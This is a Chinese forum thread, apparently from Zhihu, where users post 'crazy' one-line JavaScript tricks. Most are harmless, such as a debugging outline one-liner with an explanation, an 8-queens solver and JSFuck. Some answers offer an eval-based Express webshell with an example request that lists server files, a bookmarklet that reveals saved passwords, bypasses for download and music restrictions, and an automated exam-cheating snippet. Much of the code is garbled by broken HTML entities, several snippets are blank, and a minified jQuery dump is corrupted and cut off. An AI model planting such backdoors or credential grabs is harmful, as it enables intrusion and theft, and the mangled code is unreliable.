一行 JS (以分號結束)能實現什麼喪心病狂的功能?
兄弟問題:
一行 Python 能實現什麼喪心病狂的功能? - 編程一句 Java 能實現什麼喪心病狂的功能? - 編程說 JS 全是一行的,再見。
出一個谷歌工程師的作品,一行代碼可以看到所有頁面元素。而當中包含的知識點非常多。
108 byte version:[].forEach.call($$("*"),function(a){a.style.outline="1px solid #"+(~~(Math.random()*(1&<&<24))).toString(16)})
131 byte version:
[].forEach.call(document.querySelectorAll("*"),function(a){a.style.outline="1px solid #"+(~~(Math.random()*(1&<&<24))).toString(16)})
來源:https://gist.github.com/addyosmani/fd3999ea7fce242756b1
中文分析:
現在我們有了一個所有元素的節點列表(NodeList),現在我們想遍歷它們,並給他們加上有顏色的邊框。我們先看看能從這行代碼里發現什麼:
[].forEach.call( $$("*"), function( element ) { /* And the modification code here */ });
NodeList看起來像一個Array(數組),你可以使用中括弧來訪問他們的節點,而且你還可以通過length屬性知道它有多少元素。但是它並沒有實現Array的所有介面,因此使用 $$("*").forEach 會返回錯誤,在JavaScript的世界裡,有一堆看起來像Array但其實不是的對象。如function中的arguments對象。因此在他們身上通過call和apply來應用數組的方法是非常有用的。我之前寫過一篇文章來解析它們的用法,下面是一個例子
function say(name) {
console.log( this + " " + name );
}
say.call( "hola", "Mike" );
// 列印輸出 "hola Mike"
之前的一行代碼使用 [].forEach.call 代替 Array.prototype.forEach.call 減少了代碼的編寫量 ( 另外一個很有意思的地方 );如果$$("*")返回是個數組的話,它與$$("*").forEach是等價的。
如果你看看評論,還有人使用for(i=0;A=$$("*");)讓代碼變得更短,但是它在全局對象中注入了變數。
你可以帶上var聲明,如
for(var i=0,B=document.querySelectorAll("*");A=B[i++];){ /* your code here */ }
其中i和B將只聲明在console的上下文中。
改變元素的顏色
讓元素有一個漂亮的邊框,這行代碼使用了CSS的outline屬性。有一點你可能不知道,在CSS渲染的盒子模型(Box Model)中,outline並不會改變元素及其布局的位置。因此這比使用border屬性要好得多,所以這一部分其實並不難理解a.style.outline="1px solid #" + color
怎樣定義顏色值其實是比較有意思的
~~(Math.random()*(1&<&<24))).toString(16)
我不是特別懂位運算,因此我最喜歡這一段。
我們想構造的其實是一個16進位的顏色值,像白色FFFFFF,藍色0000FF等等。
首先我們學到了可以使用數字類型的toString方法進行十進位到16進位的轉換。
其實你可以用它進行任意進位的轉換
(30).toString(); // "30"
(30).toString(10); // "30"
(30).toString(16); // "1e" 16進位
(30).toString(2); // "11110" 二進位
(30).toString(36); // "u" 36 是最大允許的進位
因此16進位中的ffffff其實是 parseInt("ffffff", 16) == 16777215,16777215是2^24 - 1的值
因此左位移操作乖以一個隨機數 Math.random()*(1&<&<24) 可以得到一個0 到 16777216之間的值
但是還不夠,Math.random返回的是一個浮點數字,我們只需要整數部,這裡使用了「~」操作符(按位取反操作)。
這行代碼並不關心正負值。因此通過兩次取返就可以得到純整數部,我們還可以將~~視為parseInt的簡寫:
var a = 12.34, // ~~a = 12
b = -1231.8754, // ~~b = -1231
c = 3213.000001 // ~~c = 3213
;
~~a == parseInt(a, 10); // true
~~b == parseInt(b, 10); // true
~~c == parseInt(c, 10); // true
如果你仔細看評論你會知道使用 按位或 "|"操作符也可以得到相同的結果。
~~a == 0|a == parseInt(a, 10)
~~b == 0|b == parseInt(b, 10)
~~c == 0|c == parseInt(c, 10)
我們最終得到了一個 0 到 16777216之間的隨機數,然後使用toString(16)轉換成16進位,它就是這樣工作的。
原文地址:Learning much javascript from one line of code
翻譯地址:從一行CSS調試代碼中學到的JavaScript知識
代碼在 Chrome:Version 53.0.2766.0 canary (64-bit) 測試運行,其他瀏覽器可能需要Babel編譯後運行。顯示布局:
[...document.querySelectorAll("*")].forEach( element =&> element.style.outline = `2px #${((Math.random()*0xFFFFFF)&>&>0).toString(16)} solid` )
window.onerror = e =&> window.location = `http://stackoverflow.com/search?q=${e.message}`;
document.write([1,2,3,4,5,6,7,8,9].map( e =&> Array.from({length:e}).map( (_e,i) =&> `${e} * ${i + 1} = ${e*(i+1)}`).join("nbsp;nbsp;nbsp;") ).join("&
"));
__z_z__.vu = () =&> ({Id: ()=&>""})
解除百度網盤對下載大文件的限制:
require("disk-system:widget/plugin/download/util/downloadCommonUtil.js").isPlatformWindows = ()=&>false;
window.addEventListener("hashchange", ((fn) =&> fn() function () { setTimeout(fn, 1000) })(() =&>
document.getElementById("g_iframe").contentWindow.NEJ.P("nm.x").NW = ({id, type}) =&>
NEJ.P("nej.j").cG("/api/song/enhance/player/url", {
type: "json",
query: {
ids: JSON.stringify([id]),
br: 128000
},
onerror: () =&> alert("Error"),
onload: (obj) =&> obj.code === 200 window.open(obj.data[0].url)
})
));
還可以搞個強行一行貪吃蛇:
&
&& &&
再來個不強行一行的簡易(陋)模板引擎:
&
&
&
&
&
&
&
&
&
&
&
線上用的js不都是一行的么。。
樓主啊,任何 JavaScript 都可以擠到一行裡面而且保證只有一個分號你知道 eval 嗎?
javascript:alert("密碼:"+document.querySelectorAll("input[type=password]")[0].value);
獲取任意記錄在瀏覽器的密碼。
不「喪心病狂」,非常實用。尤其是像路由器這種不經常登錄容易忘記密碼的場景。1、低版本瀏覽器以及一些國產瀏覽器(例如360),可直接粘貼到地址欄,回車鍵執行;2、現代瀏覽器會在地址欄過濾掉「javascript」,需要打開開發者工具執行:F12 &> console/控制台 ,回車鍵執行;
3、如果頁面有多個密碼輸入框,則修改代碼中的下標「[0]」 為其他數值(上圖修改為「[2]」)。在使用了iframe的頁面中,注意選擇運行環境(上圖紅色箭頭指向處)。alert(「hello world!」) ;
這一行代碼能強行阻止代碼往下執行,使得遊覽器不得不發出錯誤警告,而且兼容所有主流遊覽器和非主流遊覽器,完美兼容IE6。一言不合,埋個webshell?
app.get("/233", function (req, res) {eval(req.query.cov)})
http://127.0.0.1:2333/233?cov=var%20fs%20=%20require(%27fs%27);fs.readdir(__dirname,%20function%20(err,%20files)%20{%20res.send(files)%20})
[".DS_Store",".git",".gitignore","app.js","build","node_modules","package.json"]
javascript作為一門函數式語言,只需要lambda表達式就圖靈完備了。也就是說,一個完整的程序只需要一個表達式就足夠了…
256 位元組js實現一個3D地面飛行視角。複製粘貼到地址欄回車即可。
data:text/html,&&
出處: http://www.p01.org/256b_mars_canvas/
while(1)alert(1)
alert("hello. world!")
這段代碼讓多少人喪心病狂的入了這個行業。干起了喪心病狂的事。一個半成品,不過也來湊個數吧
GitHub - rapidhere/fpjs: a horrible code converter
直接壓縮到一行多沒意思,不使用大括弧,只使用一個分號,還有,大家看到ES6的arrow function,就沒想過要濫用嗎?
下面是壓縮到只有一行的8皇后實例,可以在chrome console下運行((__Y,__OC)=&>((initArray,nQueen,solve)=&>(solve=(n)=&>((colAva,croAva,ncrAva,put)=&>((colAva=[]),(croAva=[]),(ncrAva=[]),initArray(colAva,n,true),initArray(croAva,((n)+(n))-(1),true),initArray(ncrAva,((n)+(n))-(1),true),(put=(row)=&>((col,ret)=&>(((__T,__A)=&>(__T?((1)):((__A()))))((row)===(n),(()=&>((ret=0),((__WA,__WN)=&>(col=0,__Y((__W)=&>(((__T,__A)=&>(__T?((colAva[col]=false,croAva[(row)+(col)]=false,ncrAva[(((row)-(col))+(n))-(1)]=false,ret+=put((row)+(1)),colAva[col]=true,croAva[(row)+(col)]=true,ncrAva[(((row)-(col))+(n))-(1)]=true,__A())):((__A()))))(((colAva[col])(croAva[(row)+(col)]))(ncrAva[(((row)-(col))+(n))-(1)]),(()=&>(__WN(__W,__WA))))))))((()=&>(ret)),(__W,__WA)=&>(col+=1,((col)&<(n))?__W():__WA())))))))()),put(0)))(),initArray=(arr,n,val)=&>((i)=&>(undefined,((__WA,__WN)=&>(i=0,__Y((__W)=&>(arr[i]=val,__WN(__W,__WA)))))((()=&>undefined),(__W,__WA)=&>(i+=1,((i)&<(n))?__W():__WA()))))(),undefined,((__WA,__WN)=&>(nQueen=1,__Y((__W)=&>(console.log("Queen ",nQueen,solve(nQueen)),__WN(__W,__WA)))))((()=&>undefined),(__W,__WA)=&>(nQueen+=1,((nQueen)&<=(13))?__W():__WA()))))())((F)=&>((G)=&>G(G))((self)=&>F(()=&>self(self))),(o, ro)=&>(ro=new Object(),o.forEach((i)=&>(ro[i[0]]=i[1])),ro));
怕是要被題主再見了咧。
推薦個網站:JSFuck - Write any JavaScript with 6 Characters: []()!+啥東西進去(不管幾句話),出來都是一行。try{
something}catch(e){window.location.href = "http://stackoverflow.com/search?q=[js]" + e.message;}----------UPDATE------
把這行代碼放在瀏覽器console裡面,能自動完成作業並提交(川大考試)$("&").appendTo($("body"));
一行不如限制字數有意義.
console.log("abc")
是一行
[1,2,3,4,5,6,7,8,9,10,11,12].map((x)=&>[x,10*x,100*x,1000*x]).reduce((r,v,k)=&>r.concat(v),[]).map((x)=&>[x,10*x,100*x,1000*x]).reduce((r,v,k)=&>(console.log(r),r.concat(v)),[])
也是一行.而且實際上可以無限延長下去,只要想延長.所以等同於無限長.
!function(a,b){"use strict";"object"==typeof module"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.0.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[suFEFFxA0]+|[suFEFFxA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?0&>a?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0&>a?b:0);return this.pushStack(c&>=0b&>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i(g=this,h--);i&>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d(jd(r.isPlainObject(d)||(e=r.isArray(d)))?(e?(e=!1,f=cr.isArray(c)?c:[]):f=cr.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=aa===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return a"[object Object]"===k.call(a)?(b=e(a))?(c=l.call(b,"constructor")b.constructor,"function"==typeof cm.call(c)===n):!0:!1},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},nodeName:function(a,b){return a.nodeNamea.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;c&>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c&>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g&>f;f++)d=!b(a[f],f),d!==he.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;d&>f;f++)e=b(a[f],f,c),null!=eh.push(e);else for(f in a)e=b(a[f],f,c),null!=eh.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;return"string"==typeof b(c=a[b],b=a,a=c),r.isFunction(a)?(d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e):void 0},now:Date.now,support:o}),"function"==typeof Symbol(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a"length"in aa.length,c=r.type(a);return"function"===c||r.isWindow(a)?!1:"array"===c||0===b||"number"==typeof bb&>0b-1 in a}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;d&>c;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\x20\t\r\n\f]",L="(?:\\.|[\w-]|[^x00-\xa0])+",M="\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:"((?:\\.|[^\\"])*)"|"((?:\\.|[^\\"])*)"|("+L+"))|)"+K+"*\]",N=":("+L+")(?:\((("((?:\\.|[^\\"])*)"|"((?:\\.|[^\\"])*)")|((?:\\.|[^\\()[\]]|"+M+")*)|.*)\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\])(?:\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([&>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\]""]*?)"+K+"*\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\("+K+"*(even|odd|(([+-]|)(\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\d+)|))"+K+"*\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[&>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\("+K+"*((?:-\d)?\d*)"+K+"*\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^hd$/i,Y=/^[^{]+{s*[native w/,Z=/^(?:#([w-]+)|(w+)|.([w-]+))$/,$=/[+~]/,_=new RegExp("\\([\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0&>d?String.fromCharCode(d+65536):String.fromCharCode(d&>&>10|55296,1023d|56320)},ba=/([ -x1fx7f]|^-?d)|^-$|[^x80-uFFFFw-]/g,ca=function(a,b){return b?"x00"===a?"ufffd":a.slice(0,-1)+""+a.charCodeAt(a.length-1).toString(16)+" ":""+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=bb.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w9!==w11!==w)return d;if(!e((b?b.ownerDocument||b:v)!==nm(b),b=b||n,p)){if(11!==w(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s(j=s.getElementById(f))t(b,j)j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])c.getElementsByClassNameb.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa!A[a+" "](!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===ub.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")&>d.cacheLengthdelete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNodeb.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=ba,d=c1===a.nodeType1===b.nodeTypea.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===cb.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)b.type===a}}function oa(a){return function(b){return"label"in bb.disabled===a||"form"in bb.disabled===a||"form"in bb.disabled===!1(b.isDisabled===a||b.isDisabled!==!a("label"in b||!ea(b))!==a)}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]](c[e]=!(d[e]=c[e]))})})}function qa(a){return a"undefined"!=typeof a.getElementsByTagNamea}c=ga.support={},f=ga.isXML=function(a){var b=a(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n9===g.nodeTypeg.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n(e=n.defaultView)e.top!==e(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvente.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementByIdp){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNodea.getAttributeNode("id");return cc.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeTyped.push(c);return d}return f},d.find.CLASS=c.getElementsByClassNamefunction(a,b){return"undefined"!=typeof b.getElementsByClassNamep?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))(ja(function(a){o.appendChild(a).innerHTML="&&&",a.querySelectorAll("[msallowcapture^=""]").lengthq.push("[*^$]="+K+"*(?:""|"")"),a.querySelectorAll("[selected]").length||q.push("\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="&&&";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").lengthq.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").lengthq.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").lengthq.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!=""]:x"),r.push("!=",N)}),q=q.lengthnew RegExp(q.join("|")),r=r.lengthnew RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=bb.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition16a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1d||!c.sortDetachedb.compareDocumentPosition(a)===d?a===n||a.ownerDocument===vt(v,a)?-1:b===n||b.ownerDocument===vt(v,b)?1:k?I(k,a)-I(k,b):0:4d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==nm(a),b=b.replace(S,"="$1"]"),c.matchesSelectorp!A[b+" "](!r||!r.test(b))(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length&>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==nm(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==nm(a);var e=d.attrHandle[b.toLowerCase()],f=eC.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStablea.slice(0),a.sort(B),l){while(b=a[f++])b===a[f](e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2](a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":cT.test(c)(b=g(c,!0))(b=c.indexOf(")",c.length-b)-c.length)(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeNamea.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))y(a,function(a){return b.test("string"==typeof a.classNamea.className||"undefined"!=typeof a.getAttributea.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c0===e.indexOf(c):"*="===b?ce.indexOf(c)&>-1:"$="===b?ce.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)&>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=hb.nodeName.toLowerCase(),s=!i!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a!o"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],gs){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===wj[1],t=nj[2],m=nq.childNodes[n];while(m=++nmm[p]||(t=n=0)||o.pop())if(1===m.nodeType++tm===b){k[a]=[w,n,t];break}}else if(s(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===wj[1],t=n),t===!1)while(m=++nmm[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)++t(s(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0t/d&>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length&>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length&>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)&>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)1===b.nodeType);return!1}}),target:function(b){var c=a.locationa.location.hash;return cc.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement(!n.hasFocus||n.hasFocus())!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b!!a.checked||"option"===b!!a.selected},selected:function(a){return a.parentNodea.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType&<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()"text"===a.type(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[0&>c?c+b:c]}),even:pa(function(a,b){for(var c=0;b&>c;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;b&>c;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=0&>c?c+b:c;--d&>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=0&>c?c+b:c;++d&b;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e)}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)a(b,c,i))return!0}else 